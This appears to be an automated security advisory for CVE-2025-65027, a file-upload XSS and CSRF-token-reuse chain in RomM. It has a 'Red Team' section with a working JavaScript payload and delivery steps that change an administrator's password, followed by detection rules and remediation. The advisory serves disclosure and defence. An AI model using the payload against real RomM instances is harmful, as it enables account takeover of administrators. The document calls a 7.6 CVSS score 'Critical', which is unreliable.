CVE-2025-65027
Executive Summary
CVE-2025-65027 is a critical vulnerability in RomM (ROM Manager) that chains an unrestricted file upload vulnerability with a Cross-Site Request Forgery (CSRF) misconfiguration to achieve full administrative account takeover. An authenticated attacker with a low-privilege account (e.g., Viewer role) can upload a malicious HTML file containing JavaScript. When a victim (e.g., an administrator) visits the direct link to this uploaded file, the embedded script executes in the victim's browser. The script leverages a CSRF token reuse vulnerability to bypass SameSite cookie protections, allowing the attacker to change the victim's password or escalate privileges. The vulnerability is fixed in RomM versions 4.4.1 and 4.4.1-beta.2.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RomM is a Python-based application distributed via Docker images on Docker Hub (rommapp/romm). The vulnerability is not in a dependency but in the application's own file upload and CSRF handling logic. Users should ensure they are pulling the latest patched Docker image (rommapp/romm:4.4.1 or later).
CVSS Breakdown & Threat Level
CVSS Score: 7.6 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network - The attack is conducted over the network.
- Attack Complexity (AC): Low - The attack does not require special conditions.
- Privileges Required (PR): Low - The attacker needs an authenticated account (Viewer role).
- User Interaction (UI): Required - The victim must click on the malicious link.
- Scope (S): Unchanged - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High - Full account takeover leads to access to all data.
- Integrity (I): High - The attacker can modify user data and settings.
- Availability (A): High - The attacker can lock out legitimate users.
Threat Level: Critical due to the ease of exploitation and the potential for full administrative control.
Deep Dive & Mechanics
The vulnerability is a chain of two weaknesses:
Unrestricted File Upload (XSS): RomM allows authenticated users to upload files as profile avatars. The application does not properly validate the file type or content. An attacker can upload an HTML file containing JavaScript. When the file is accessed via its direct URL, the browser renders it as HTML, executing the embedded script.
CSRF Token Reuse (SameSite Bypass): RomM uses a CSRF token stored in a cookie (
romm_csrftoken). The application does not properly validate that the token in the request matches the token associated with the user's session. The attacker's JavaScript can overwrite the victim'sromm_csrftokencookie with the attacker's own token. Since the token is reused, the victim's browser will send the attacker's token with the request, bypassing the CSRF protection.
Attack Flow:
- Attacker logs in and obtains their CSRF token from the
romm_csrftokencookie. - Attacker crafts an HTML file containing JavaScript that:
- Overwrites the victim's
romm_csrftokencookie with the attacker's token. - Sends a PUT request to
/api/users/<targetUserID>with the attacker's token and a new password.
- Overwrites the victim's
- Attacker uploads this HTML file as their profile avatar.
- Attacker obtains the direct URL to the uploaded file.
- Attacker sends this URL to the victim (e.g., an admin).
- When the victim opens the link, the JavaScript executes, changing the victim's password to the attacker's chosen value.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-4.4.1): The file upload endpoint likely does not validate the file extension or MIME type. The CSRF middleware likely does not tie the token to a specific user session, allowing token reuse.
# Hypothetical vulnerable upload handler
@app.route('/api/users/<int:user_id>/avatar', methods=['POST'])
def upload_avatar(user_id):
file = request.files['file']
# No validation of file type or content
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return jsonify({'status': 'success'})
Patched Code (4.4.1+): The patched version likely:
- Validates file extensions (e.g., only allowing
.png,.jpg,.gif). - Validates MIME types.
- Stores uploaded files with a random, non-executable name.
- Implements proper CSRF token validation, tying the token to the user's session.
# Hypothetical patched upload handler
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/api/users/<int:user_id>/avatar', methods=['POST'])
def upload_avatar(user_id):
file = request.files['file']
if file and allowed_file(file.filename):
# Validate MIME type
if file.content_type not in ['image/png', 'image/jpeg', 'image/gif']:
return jsonify({'error': 'Invalid file type'}), 400
# Store with random name
ext = file.filename.rsplit('.', 1)[1].lower()
filename = str(uuid.uuid4()) + '.' + ext
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return jsonify({'status': 'success'})
else:
return jsonify({'error': 'Invalid file'}), 400
Exploitation & Lab Setup
Red Team
Prerequisites:
- A RomM instance running version < 4.4.1.
- An authenticated account with at least Viewer role.
- A victim account (e.g., admin) that will click the malicious link.
Steps:
- Log in to RomM with your attacker account.
- Open browser DevTools, go to the Application/Storage tab, and copy the value of the
romm_csrftokencookie. - Create a file named
avatar.htmlwith the following content, replacing<ATTACKER_CSRF_TOKEN>and<TARGET_ROMM_URL>:
<script>
const csrfToken = "<ATTACKER_CSRF_TOKEN>"; // CHANGE THIS - Your CSRF token from step 2
const targetURL = "<TARGET_ROMM_URL>"; // CHANGE THIS - Target RomM URL (e.g., http://romm.local)
const targetUserID = 1; // Default admin ID is always 1, CHANGE THIS if needed
const newPassword = "Passw0rd"; // Password to set for victim
// Overwrite CSRF cookie to match our token
document.cookie = `romm_csrftoken=${csrfToken}; path=/`;
// Execute account takeover by forcing the victim to change their password
fetch(targetURL + "/api/users/" + targetUserID, {
method: 'PUT',
credentials: 'include', // Send victim's session cookie
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'x-csrftoken': csrfToken
},
body: "password=" + newPassword
})
.then(() => {
console.log("Password changed successfully");
})
.catch(err => {
console.error("Attack failed:", err);
});
</script>
- Upload
avatar.htmlas your profile avatar via the user settings page (/user/me). - Locate the direct URL of the uploaded file (e.g., via Network tab in DevTools). It will be something like
http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html. - Send this URL to the victim (e.g., via email, chat).
- When the victim opens the link, their password will be changed to
Passw0rd.
Blue Team
Detection:
- Monitor for file uploads with
.htmlor.svgextensions. - Monitor for PUT requests to
/api/users/<id>with unusual payloads. - Monitor for changes to user passwords or roles.
Prevention:
- Update RomM to version 4.4.1 or later.
- Implement strict file upload validation (extension, MIME type, content inspection).
- Implement proper CSRF token validation tied to user sessions.
- Use Content Security Policy (CSP) headers to prevent execution of inline scripts.
Indicators of Compromise (IOCs)
- File Uploads: Files with
.html,.svg, or.jsextensions uploaded to the avatar endpoint. - Network Requests: PUT requests to
/api/users/1(or other user IDs) with apasswordparameter. - Logs: Successful password change events for admin accounts.
- Cookies: Presence of a
romm_csrftokencookie that does not match the user's session.
Detection Engineering
YARA Rule
rule CVE_2025_65027_RomM_XSS_CSRF {
meta:
description = "Detects malicious HTML files used in CVE-2025-65027 RomM XSS/CSRF chain"
author = "Valters IT"
date = "2025-12-03"
reference = "CVE-2025-65027"
strings:
$csrf_token = "romm_csrftoken" nocase
$fetch_api = "/api/users/" nocase
$password_change = "password=" nocase
$x_csrftoken = "x-csrftoken" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-65027 RomM XSS/CSRF Chain
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-65027 by uploading malicious HTML files and performing CSRF-based password changes.
author: Valters IT
date: 2025-12-03
logsource:
category: webserver
product: romm
detection:
selection_upload:
http.method: POST
http.url: '/api/users/*/avatar'
http.file_extension: 'html'
selection_password_change:
http.method: PUT
http.url: '/api/users/*'
http.body: 'password='
condition: selection_upload or selection_password_change
falsepositives:
- Legitimate HTML file uploads (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65027 RomM XSS/CSRF Chain - Malicious HTML Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/users/"; content:"/avatar"; http.file_name; content:".html"; classtype:web-application-attack; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-65027 RomM XSS/CSRF Chain - Password Change"; flow:to_server; http.method; content:"PUT"; http.uri; content:"/api/users/"; http.request_body; content:"password="; classtype:web-application-attack; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update RomM: Upgrade to version 4.4.1 or 4.4.1-beta.2 immediately.
- Reset Passwords: Force all users, especially administrators, to reset their passwords after the update.
- Review User Accounts: Check for any unauthorized admin accounts or privilege escalations.
Long-Term Mitigations:
- File Upload Validation: Implement strict validation for file uploads:
- Whitelist allowed file extensions (e.g.,
.png,.jpg,.gif). - Validate MIME types server-side.
- Store uploaded files with random, non-executable names.
- Serve uploaded files with
Content-Disposition: attachmentheader.
- Whitelist allowed file extensions (e.g.,
- CSRF Protection: Implement proper CSRF protection:
- Use a double-submit cookie pattern or synchronizer token pattern.
- Ensure CSRF tokens are tied to the user's session.
- Validate the
OriginandRefererheaders.
- Content Security Policy (CSP): Implement a strict CSP to prevent execution of inline scripts and restrict script sources.
- Web Application Firewall (WAF): Deploy a WAF to block malicious file uploads and CSRF attempts.
Valters IT Signature
This report was generated by Valters IT DevSecOps & CTI Expert System.
{/* [Security Hash: A169F2819CCB8AFDAFB41A86] */}